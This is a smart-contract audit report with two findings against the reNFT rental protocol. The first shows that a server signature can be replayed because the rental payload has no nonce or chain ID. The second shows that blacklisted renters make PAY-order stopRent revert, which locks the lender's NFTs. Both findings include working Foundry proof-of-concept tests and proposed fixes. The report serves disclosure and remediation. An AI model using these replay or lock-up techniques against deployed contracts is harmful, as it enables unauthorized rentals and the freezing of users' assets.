reNFT - peter's results

Lines of code

https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/policies/Create.sol#L733-L775

Vulnerability details

Summary

The reNFT protocol intends that an order cannot be fulfilled unless it gets an ok from the server-side signer. However the server-side signer is signing the rental payload, which does not have a nonce and thus is not unique. Therefore the exact same signature can be replayed on the same (or different) chain an arbitrary number of times during the period the rental payload expiration is valid, as long as the rental payload data is the same. But the order contents and offerer can be different.

This means in effect that A can rent to C and B can also separately rent to C, but B doesn't require any permission from the server-side signer, as B can simply reuse the signature from the transaction between A and C (by decoding bytes extraData from the on-chain Seaport AdvancedOrder, say). A and B's orders can also be very different in terms of quantity of offer/consideration items etc., but same signature will still work for both.

Impact

Permissioned server-side signer role can temporarily be circumvented, as the same signature can be reused multiple times on different orders (of the same rental payload) with the same or different offerers, and on the same chain or cross-chain. As the protocol intends the server-side signer to okay every order, this may cause issues related to syncing, DoS etc.

Proof of Concept

1. Add the below test to the test suite test/integration/Rent.t.sol:TestRent.

The following also needs to be modified in test/fixtures/engine/OrderFulfiller.sol to allow reuse of same signature for different orders:

index d61448a..ad5fd7b 100644
--- a/test/fixtures/engine/OrderFulfiller.sol
+++ b/test/fixtures/engine/OrderFulfiller.sol
@@ -42,6 +42,8 @@ import {
 } from "@src/libraries/RentalStructs.sol";
 import {Events} from "@src/libraries/Events.sol";
 
+import {console} from "@forge-std/Console.sol";
+
 // Sets up logic in the test engine related to order fulfillment
 contract OrderFulfiller is OrderCreator {
     using ECDSA for bytes32;
@@ -60,6 +62,10 @@ contract OrderFulfiller is OrderCreator {
     FulfillmentComponent[][] seaportConsiderationFulfillments;
     address seaportRecipient;
 
+    // If second order then reuse same signature
+    bytes firstSignature;
+    event SignatureEmission(bytes signatureEmitted);
+
     /////////////////////////////////////////////////////////////////////////////////
     //                             Fulfillment Creation                            //
     /////////////////////////////////////////////////////////////////////////////////
@@ -93,11 +99,23 @@ contract OrderFulfiller is OrderCreator {
             RentPayload(fulfillment, metadata, block.timestamp + 100, _fulfiller.addr)
         );
 
-        // generate the signature for the payload
-        bytes memory signature = _signProtocolOrder(
-            rentalSigner.privateKey,
-            create.getRentPayloadHash(orderToFulfill.payload)
-        );
+        // If second order then reuse same signature from first order
+        bytes memory signature;
+
+        if (firstSignature.length == 0) {
+            // generate the signature for the payload
+            signature = _signProtocolOrder(
+                rentalSigner.privateKey,
+                create.getRentPayloadHash(orderToFulfill.payload)
+            );
+            firstSignature = signature;
+            console.log("Using new signature");
+        } else {
+            signature = firstSignature;
+            console.log("Reusing same signature on new order");
+        }
+
+        emit SignatureEmission(signature);
 
         // create an advanced order from the order. Pass the rental
         // payload as extra data

Test:

import {console} from "@forge-std/Console.sol";

    function test_Replay_Attack() external {
        // create a BASE order
        createOrder({
            offerer: alice,
            orderType: OrderType.BASE,
            erc721Offers: 1,
            erc1155Offers: 0,
            erc20Offers: 0,
            erc721Considerations: 0,
            erc1155Considerations: 0,
            erc20Considerations: 1
        });

        // finalize the order creation
        (
            Order memory order,
            bytes32 orderHash,
            OrderMetadata memory metadata
        ) = finalizeOrder();

        // create an order fulfillment
        createOrderFulfillment({
            _fulfiller: bob,
            order: order,
            orderHash: orderHash,
            metadata: metadata
        });

        // finalize the base order fulfillment
        RentalOrder memory rentalOrder = finalizeBaseOrderFulfillment();
        
        // get the rental order hash
        bytes32 rentalOrderHash = create.getRentalOrderHash(rentalOrder);
        console.log("First rental order hash: %s", uint256(rentalOrderHash));

        // assert that the rental order was stored
        assertEq(STORE.orders(rentalOrderHash), true);

        // assert that the token is in storage
        assertEq(STORE.isRentedOut(address(bob.safe), address(erc721s[0]), 0), true);

        // assert that the fulfiller made a payment
        assertEq(erc20s[0].balanceOf(bob.addr), uint256(9900));

        // assert that a payment was made to the escrow contract
        assertEq(erc20s[0].balanceOf(address(ESCRW)), uint256(100));

        // assert that a payment was synced properly in the escrow contract
        assertEq(ESCRW.balanceOf(address(erc20s[0])), uint256(100));

        // assert that the ERC721 is in the rental wallet of the fulfiller
        assertEq(erc721s[0].ownerOf(0), address(bob.safe));

        console.log("First order went through successfully, now conducting second order with same signature");

        // create a BASE order
        createOrder({
            offerer: eve,                       // Changing offerer, but old signature is still valid
            orderType: OrderType.BASE,
            erc721Offers: 1,                
            erc1155Offers: 1,                   // Modifying second order from first, but still using same signature
            erc20Offers: 0,
            erc721Considerations: 0,
            erc1155Considerations: 0,
            erc20Considerations: 2              // Further modifying order, old signature still works
        });

        // finalize the order creation
        (
            order,
            orderHash,
            metadata
        ) = finalizeOrder();

        // create an order fulfillment
        createOrderFulfillment({
            _fulfiller: bob,
            order: order,
            orderHash: orderHash,
            metadata: metadata
        });

        // finalize the base order fulfillment
        rentalOrder = finalizeBaseOrderFulfillment();

        // get the rental order hash
        rentalOrderHash = create.getRentalOrderHash(rentalOrder);
        console.log("Second rental order hash: %s", uint256(rentalOrderHash));

        // assert that the rental order was stored
        assertEq(STORE.orders(rentalOrderHash), true);

        // assert that the token is in storage
        assertEq(STORE.isRentedOut(address(bob.safe), address(erc721s[0]), 1), true);

        // assert that the token is in storage
        assertEq(STORE.isRentedOut(address(bob.safe), address(erc1155s[0]), 0), true);

        // assert that the fulfiller made a payment
        assertEq(erc20s[0].balanceOf(bob.addr), uint256(9800));

        // assert that a payment was made to the escrow contract
        assertEq(erc20s[0].balanceOf(address(ESCRW)), uint256(200));

        // assert that a payment was made to the escrow contract
        assertEq(erc20s[1].balanceOf(address(ESCRW)), uint256(100));

        // assert that a payment was synced properly in the escrow contract
        assertEq(ESCRW.balanceOf(address(erc20s[0])), uint256(200));

        // assert that a payment was synced properly in the escrow contract
        assertEq(ESCRW.balanceOf(address(erc20s[1])), uint256(100));

        // assert that the ERC721 is in the rental wallet of the fulfiller
        assertEq(erc721s[0].ownerOf(1), address(bob.safe));
    }

2. Run the following test: forge test --match-test test_Replay_Attack -vvv

3. Expected output:

Running 1 test for test/integration/Rent.t.sol:TestRent
[PASS] test_Replay_Attack() (gas: 3244727)
Logs:
  Using new signature
  First rental order hash: 110595380660877112049737481305277557875498842186620418620373902887203399424316
  First order went through successfully, now conducting second order with same signature
  Reusing same signature on new order
  Second rental order hash: 53231090530756240924481077729861488907373052222619614913544918160975906944374

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 30.57ms
 
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

Tools Used

Manual inspection, Foundry

Recommended Mitigation Steps

Add a nonce to the rental payload (and nonce check in Create policy) to prevent the same rental payload signature from being reused multiple times by different offerers on different orders. Adding a chainID component and check as part of _RENT_PAYLOAD_TYPEHASH would also prevent cross-chain replay.

Assessed type

DoS

Lines of code

https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/policies/Stop.sol#L296 https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/policies/Create.sol#L597-L603 https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/modules/PaymentEscrow.sol#L100-L118

Vulnerability details

Summary

reNFT protocol states that "All ERC20 tokens supported by Seaport are supported", however for PAY orders there is no check performed to determine whether or not the renter address (ERC20 recipient in PAY order) is blacklisted. The blacklist feature is implemented on widely used Seaport-supported tokens such as USDC and USDT. This means PAY orders on blacklisted renter addresses can be created, but during or after rental expiry the Stop::stopRent() function will always REVERT due to PaymentEscrow::_safeTransfer() reverting.

Lenders using blacklisting tokens and a PAY order have no idea whether or not their renter is blacklisted until the order has already been created.

Impact

Lender's NFT(s) will be permanently stuck in safe, and prior to rental expiry the lender can't claim any of their ERC20 refund.

Proof of Concept

1. Add the following 2 tests to the test/integration/StopRent.t.sol::TestStopRent test suite. Note these 2 tests are minor modifications to the existing test_stopRent_payOrder_proRata_stoppedByLender and test_StopRent_PayOrder_InFull_StoppedByLender tests.

Also import Errors.sol into StopRent.t.sol:

import {Errors} from "@src/libraries/Errors.sol";

And finally modify MERC20 from test/mocks/tokens/standard/MockERC20.sol to give basic blacklist functionality similar to USDC/USDT:

index 3e170c1..582ca03 100644
--- a/test/mocks/tokens/standard/MockERC20.sol
+++ b/test/mocks/tokens/standard/MockERC20.sol
@@ -4,6 +4,7 @@ pragma solidity ^0.8.20;
 import {ERC20} from "@openzeppelin-contracts/token/ERC20/ERC20.sol";
 
 contract MockERC20 is ERC20 {
+    mapping(address => bool) public blacklist;
     constructor() ERC20("MockERC20", "MERC20") {}
 
     function mint(address to, uint256 amount) public {
@@ -13,4 +14,15 @@ contract MockERC20 is ERC20 {
     function burn(address to, uint256 amount) public {
         _burn(to, amount);
     }
+
+    function transfer(address to, uint256 value) public override returns (bool) {
+        require(!blacklist[to], "MockERC20: transfer to blacklisted address");
+        address owner = _msgSender();
+        _transfer(owner, to, value);
+        return true;
+    }
+
+    function setBlacklist(address account, bool value) public {
+        blacklist[account] = value;
+    }
 }

Test 1:

    function test_StopRent_PayOrder_InFull_StoppedByLender_Revert_Blacklist() public {
        // Renter (recipient of ERC20 in PAY order) is blacklisted before lender even creates Seaport order
        erc20s[0].setBlacklist(bob.addr, true);

        // create a PAY order
        createOrder({
            offerer: alice,
            orderType: OrderType.PAY,
            erc721Offers: 1,
            erc1155Offers: 0,
            erc20Offers: 1,
            erc721Considerations: 0,
            erc1155Considerations: 0,
            erc20Considerations: 0
        });

        // finalize the pay order creation
        (
            Order memory payOrder,
            bytes32 payOrderHash,
            OrderMetadata memory payOrderMetadata
        ) = finalizeOrder();

        // create a PAYEE order. The fulfiller will be the offerer.
        createOrder({
            offerer: bob,
            orderType: OrderType.PAYEE,
            erc721Offers: 0,
            erc1155Offers: 0,
            erc20Offers: 0,
            erc721Considerations: 1,
            erc1155Considerations: 0,
            erc20Considerations: 1
        });

        // finalize the pay order creation
        (
            Order memory payeeOrder,
            bytes32 payeeOrderHash,
            OrderMetadata memory payeeOrderMetadata
        ) = finalizeOrder();

        // create an order fulfillment for the pay order
        createOrderFulfillment({
            _fulfiller: bob,
            order: payOrder,
            orderHash: payOrderHash,
            metadata: payOrderMetadata
        });

        // create an order fulfillment for the payee order
        createOrderFulfillment({
            _fulfiller: bob,
            order: payeeOrder,
            orderHash: payeeOrderHash,
            metadata: payeeOrderMetadata
        });

        // add an amendment to include the seaport fulfillment structs
        withLinkedPayAndPayeeOrders({payOrderIndex: 0, payeeOrderIndex: 1});

        // finalize the order pay/payee order fulfillment
        (RentalOrder memory payRentalOrder, ) = finalizePayOrderFulfillment();

        // speed up in time past the rental expiration
        vm.warp(block.timestamp + 750);

        // stop the rental order
        vm.prank(alice.addr);
        vm.expectRevert(abi.encodeWithSelector(Errors.PaymentEscrowModule_PaymentTransferFailed.selector, address(erc20s[0]), bob.addr, 100));
        stop.stopRent(payRentalOrder);

        // get the rental order hashes
        bytes32 payRentalOrderHash = create.getRentalOrderHash(payRentalOrder);

        // assert that the rental order still exists in storage
        assertEq(STORE.orders(payRentalOrderHash), true);

        // assert that the token is still rented out in storage
        assertEq(STORE.isRentedOut(address(bob.safe), address(erc721s[0]), 0), true);

        // assert that the ERC721 is not back to its original owner
        assertEq(erc721s[0].ownerOf(0), address(bob.safe));

        // assert that the offerer made a payment
        assertEq(erc20s[0].balanceOf(alice.addr), uint256(9900));

        // assert that a payment wasn't pulled from the escrow contract
        assertEq(erc20s[0].balanceOf(address(ESCRW)), uint256(100));
    }

Test 2:

    function test_stopRent_payOrder_proRata_stoppedByLender_Revert_Blacklist() public {
        // Renter (recipient of ERC20 in PAY order) is blacklisted before lender even creates Seaport order
        erc20s[0].setBlacklist(bob.addr, true);

        // create a PAY order
        createOrder({
            offerer: alice,
            orderType: OrderType.PAY,
            erc721Offers: 1,
            erc1155Offers: 0,
            erc20Offers: 1,
            erc721Considerations: 0,
            erc1155Considerations: 0,
            erc20Considerations: 0
        });

        // finalize the pay order creation
        (
            Order memory payOrder,
            bytes32 payOrderHash,
            OrderMetadata memory payOrderMetadata
        ) = finalizeOrder();

        // create a PAYEE order. The fulfiller will be the offerer.
        createOrder({
            offerer: bob,
            orderType: OrderType.PAYEE,
            erc721Offers: 0,
            erc1155Offers: 0,
            erc20Offers: 0,
            erc721Considerations: 1,
            erc1155Considerations: 0,
            erc20Considerations: 1
        });

        // finalize the pay order creation
        (
            Order memory payeeOrder,
            bytes32 payeeOrderHash,
            OrderMetadata memory payeeOrderMetadata
        ) = finalizeOrder();

        // create an order fulfillment for the pay order
        createOrderFulfillment({
            _fulfiller: bob,
            order: payOrder,
            orderHash: payOrderHash,
            metadata: payOrderMetadata
        });

        // create an order fulfillment for the payee order
        createOrderFulfillment({
            _fulfiller: bob,
            order: payeeOrder,
            orderHash: payeeOrderHash,
            metadata: payeeOrderMetadata
        });

        // add an amendment to include the seaport fulfillment structs
        withLinkedPayAndPayeeOrders({payOrderIndex: 0, payeeOrderIndex: 1});

        // finalize the order pay/payee order fulfillment
        (RentalOrder memory payRentalOrder, ) = finalizePayOrderFulfillment();

        // speed up in time only 40% of the way through the rental period
        vm.warp(block.timestamp + 200);

        // stop the rental order
        vm.prank(alice.addr);
        vm.expectRevert(abi.encodeWithSelector(Errors.PaymentEscrowModule_PaymentTransferFailed.selector, address(erc20s[0]), bob.addr, 40));
        stop.stopRent(payRentalOrder);

        // get the rental order hashes
        bytes32 payRentalOrderHash = create.getRentalOrderHash(payRentalOrder);

        // assert that the rental order still exists in storage
        assertEq(STORE.orders(payRentalOrderHash), true);

        // assert that the token is still rented out in storage
        assertEq(STORE.isRentedOut(address(bob.safe), address(erc721s[0]), 0), true);

        // assert that the ERC721 is not back to its original owner
        assertEq(erc721s[0].ownerOf(0), address(bob.safe));

        // assert that the offerer didn't receive a refund
        assertEq(erc20s[0].balanceOf(alice.addr), uint256(9900));

        // assert that a payment wasn't pulled from the escrow contract
        assertEq(erc20s[0].balanceOf(address(ESCRW)), uint256(100));
    }

2. Run the above tests respectively:

forge test --match-test test_StopRent_PayOrder_InFull_StoppedByLender_Revert_Blacklist -vvv forge test --match-test test_stopRent_payOrder_proRata_stoppedByLender_Revert_Blacklist -vvv

3. Expected output example:

Running 1 test for test/integration/StopRent.t.sol:TestStopRent
[PASS] test_stopRent_payOrder_proRata_stoppedByLender_Revert_Blacklist() (gas: 3007974)
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 23.19ms
 
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

Tools Used

Manual inspection, Foundry

Recommended Mitigation Steps

Add blacklist storage mapping to Create policy and during rental creation callback REVERT if ERC20 token implements blacklisting and renter is on that list:

index 061180d..30258f5 100644
--- a/src/policies/Create.sol
+++ b/src/policies/Create.sol
@@ -34,6 +34,10 @@ import {
 import {Errors} from "@src/libraries/Errors.sol";
 import {Events} from "@src/libraries/Events.sol";
 
+interface IERC20BlackList {
+    function isBlacklisted(address _account) external view returns (bool);
+}
+
 /**
  * @title Create
  * @notice Acts as an interface for all behavior related to creating a rental.
@@ -53,6 +57,9 @@ contract Create is Policy, Signer, Zone, Accumulator {
     Storage public STORE;
     PaymentEscrow public ESCRW;
 
+    /// @dev Mapping to track whether a given token address implements a blacklist feature or not
+    mapping(address => bool) internal blacklist;
+
     /**
      * @dev Instantiate this contract as a policy.
      *
@@ -598,6 +605,9 @@ contract Create is Policy, Signer, Zone, Accumulator {
             // it knows how many tokens were sent to it.
             for (uint256 i = 0; i < items.length; ++i) {
                 if (items[i].isERC20()) {
+                    if (payload.metadata.orderType.isPayOrder() && blacklist[items[i].token]) {
+                        require(!IERC20BlackList.isBlacklisted(payload.intendedFulfiller), "Fulfiller is blacklisted, can't complete rental order");
+                    }
                     ESCRW.increaseDeposit(items[i].token, items[i].amount);
                 }
             }
@@ -773,4 +783,8 @@ contract Create is Policy, Signer, Zone, Accumulator {
         // Return the selector of validateOrder as the magic value.
         validOrderMagicValue = ZoneInterface.validateOrder.selector;
     }
+
+    function adjustBlackList(address _account, bool _value) external onlyRole("BLACKLIST_ADJUSTER") {
+        blacklist[_account] = _value;
+    }  
 }

Assessed type

DoS